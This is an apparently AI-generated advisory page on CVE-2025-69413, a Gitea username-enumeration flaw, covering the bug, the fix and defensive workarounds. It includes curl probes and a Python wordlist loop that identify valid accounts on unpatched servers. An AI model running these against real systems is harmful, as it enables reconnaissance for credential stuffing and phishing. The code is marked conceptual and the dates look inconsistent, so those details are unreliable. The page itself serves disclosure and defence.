CVEReports
Reports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Reports
  • Sitemap
  • RSS Feed

Company

  • About
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Powered by Google Gemini & CVE Feed

|
•

CVE-2025-69413
CVSS 5.3|EPSS 0.04%

Gitea's Tattletale API: User Enumeration via Error Messages

Amit Schendel
Amit Schendel
Senior Security Researcher•January 2, 2026•6 min read
PoC Available

Executive Summary (TL;DR)

Gitea versions prior to 1.25.2 respond differently to login attempts depending on whether the username exists or not. Attackers can use this 'oracle' to build a list of valid users, paving the way for targeted credential stuffing or social engineering attacks.

A classic response discrepancy vulnerability in Gitea's API authentication logic allows unauthenticated attackers to enumerate valid usernames based on specific error messages.

The Hook: When APIs Talk Too Much

Self-hosting your code is a power move. You own the data, you control the uptime, and you don't have to pay a per-seat license to a giant tech conglomerate. Gitea is the darling of this movement—a lightweight, Go-based alternative to GitHub/GitLab that runs on a potato. But being the sysadmin means you also own the security flaws. And sometimes, your software is a bit too helpful for its own good.

CVE-2025-69413 is what we call a 'Chatterbox Vulnerability'. It’s not a remote code execution that burns the server down in seconds. It’s a reconnaissance flaw. It’s the digital equivalent of a burglar knocking on doors to see who’s home before deciding which lock to pick. In the world of security, information is ammunition, and Gitea was handing out ammo for free.

The vulnerability lies in the API's authentication mechanism. Ideally, a login prompt should be a stone wall: you either pass, or you fail. Gitea, however, was acting more like a helpful concierge, whispering, "That person doesn't live here," versus "That person is home, but you have the wrong key." For a hacker, that distinction is everything.

The Flaw: The Error Message Oracle

This vulnerability is a textbook case of CWE-204: Observable Response Discrepancy. In cryptography and web security, we often call this an 'Oracle'. An oracle is any system that reveals internal state through its responses to external queries. In this case, the state being revealed is the existence of a user record.

The logic flaw was located in the /api/v1/user endpoint and the general authentication middleware. When a client attempts to authenticate—say, via Basic Auth—the server has to check two things: does the user exist, and is the password correct?

In a secure system, these checks are blurred into a single failure state. But Gitea < 1.25.2 treated them as distinct logical paths with distinct error messages:

  1. User Missing: Returns "user does not exist".
  2. User Present, Bad Password: Returns "user's password is invalid".

This discrepancy turns the API into a TRUE/FALSE query engine. An attacker doesn't need to guess the password to know they've found a target; they just need to see the error message shift. This reduces the complexity of an attack from "guessing a user+password combination" (exponentially hard) to "guessing a username" (linearly easy) followed by "guessing a password" (targeted).

The Code: A Lack of Poker Face

Let's look at the "smoking gun" in routers/api/v1/api.go. The issue wasn't a buffer overflow or a complex logic race; it was simply a lack of input sanitization on the output side. The code was taking internal errors from the authentication service and piping them directly to the HTTP response.

The Vulnerable Logic (Conceptual):

// Before the fix: Too honest
user, err := auth.SignIn(ctx, form)
if err != nil {
    // The error string "user does not exist" or "invalid password"
    // is passed directly to the user.
    ctx.Error(http.StatusUnauthorized, err.Error())
    return
}

The developers likely intended this for debugging or better user experience (UX). Telling a user they made a typo in their username is friendly. But in security, UX often conflicts with opacity.

The Fix (Gitea 1.25.2): The patch introduces a generic error handling wrapper. Instead of passing the raw error, the system now catches the auth failure and normalizes the response.

// After the fix: Poker face engaged
user, err := auth.SignIn(ctx, form)
if err != nil {
    // Whatever happened, we just say "No."
    ctx.Error(http.StatusUnauthorized, "invalid username, password or token")
    return
}

This change ensures that whether you type admin (exists) or ghost_of_sparta (doesn't exist), the server gives you the exact same cold shoulder.

The Exploit: Automating the Roll Call

Exploiting this is trivially easy. You don't need Metasploit; you need curl and a wordlist. The attack vector relies on sending a request with a guessable username and a dummy password. We assume the password is wrong; we are just listening to how the server rejects us.

Manual Proof of Concept:

# Probe for a non-existent user
curl -u "fakeuser:WrongPass123" https://gitea.example.com/api/v1/user
# Response: {"message": "user does not exist"} -> TARGET MISSING
 
# Probe for an existing user (e.g., 'admin')
curl -u "admin:WrongPass123" https://gitea.example.com/api/v1/user
# Response: {"message": "user's password is invalid"} -> TARGET ACQUIRED

The Automation Loop:

A sophisticated attacker would feed a list of 10,000 common usernames (e.g., root, deploy, git, jsmith) into a script.

import requests
 
target = "https://gitea.example.com/api/v1/user"
usernames = open("top-usernames.txt").read().splitlines()
 
for user in usernames:
    r = requests.get(target, auth=(user, "dummy_password"))
    if "password is invalid" in r.text:
        print(f"[+] FOUND VALID USER: {user}")
    else:
        # "user does not exist" or other errors
        pass

This script runs silently. Unless the admin is monitoring for high volumes of 401 errors specifically grouped by response body length (which is rare), this reconnaissance goes unnoticed.

The Impact: Why Enumeration Matters

You might be thinking, "So they know my username is 'dave'. Big deal." But in the kill chain, enumeration is the pivot point.

  1. Credential Stuffing Optimization: If I have a database of 10 million leaked user:password pairs, trying all of them against your server triggers rate limits immediately. But if I first use CVE-2025-69413 to identify the 50 users who actually exist on your system, I can discard the other 9,999,950 attempts. My attack becomes 200,000% more efficient.
  2. Social Engineering: Knowing jdoe exists allows for targeted phishing. "Hi John, this is IT, your Gitea account needs a reset."
  3. Brute Force: Once I know admin exists, I can focus a slow-and-low brute force attack specifically on that account, bypassing generic noise filters.

While the CVSS is a modest 5.3, the utility of this bug for an attacker is high. It turns a blind shot in the dark into a sniper shot.

The Fix: Shutting the Door

The remediation is straightforward: Update to Gitea 1.25.2.

If you cannot update immediately, you are in a difficult spot because this is logic embedded in the compiled Go binary. You can't just patch a config file.

Defensive Workarounds:

  1. WAF Rules: If you have a Web Application Firewall (like ModSecurity or Cloudflare), you could attempt to inspect the response body. If the response contains "user does not exist", rewrite it to "invalid credentials" before it reaches the client. This is tricky and prone to breakage.
  2. Fail2Ban: Aggressively ban IPs that generate multiple 401 errors. This doesn't fix the leak, but it slows the enumeration down to a crawl, making it impractical.
  3. Disable Public Access: Ensure your Gitea instance is behind a VPN. Enumeration is useless if the attacker can't reach the login port.

Ultimately, the code fix (unifying the error messages) is the only complete solution.

Official Patches

GiteaPull Request merging the unified error message fix.
GiteaRelease notes for Gitea 1.25.2.

Technical Appendix

CVSS Score
5.3/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

Gitea Self-Hosted Git Service

Affected Versions Detail

ProductAffected VersionsFixed Version
Gitea
Gitea
< 1.25.21.25.2
AttributeDetail
CWE IDCWE-204
Attack VectorNetwork (API)
CVSS Score5.3 (Medium)
ImpactInformation Disclosure
Exploit StatusTrivial (Manual)
AuthenticationNone Required

MITRE ATT&CK Mapping

MITRE ATT&CK Mapping

T1589.002Gather Victim Identity Information: Email Addresses
Reconnaissance
T1110.001Brute Force: Password Guessing
Credential Access
CWE-204
Observable Response Discrepancy

Observable Response Discrepancy

Exploit Resources

Known Exploits & Detection

ManualManual verification using curl commands against the API.

Vulnerability Timeline

Vulnerability Timeline

Vulnerability discovered/reported
2025-02-04
Fix merged in PR #36002
2025-02-05
Gitea 1.25.2 released
2025-02-06

References & Sources

  • [1]Original GitHub Issue Report
  • [2]Fix Pull Request

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.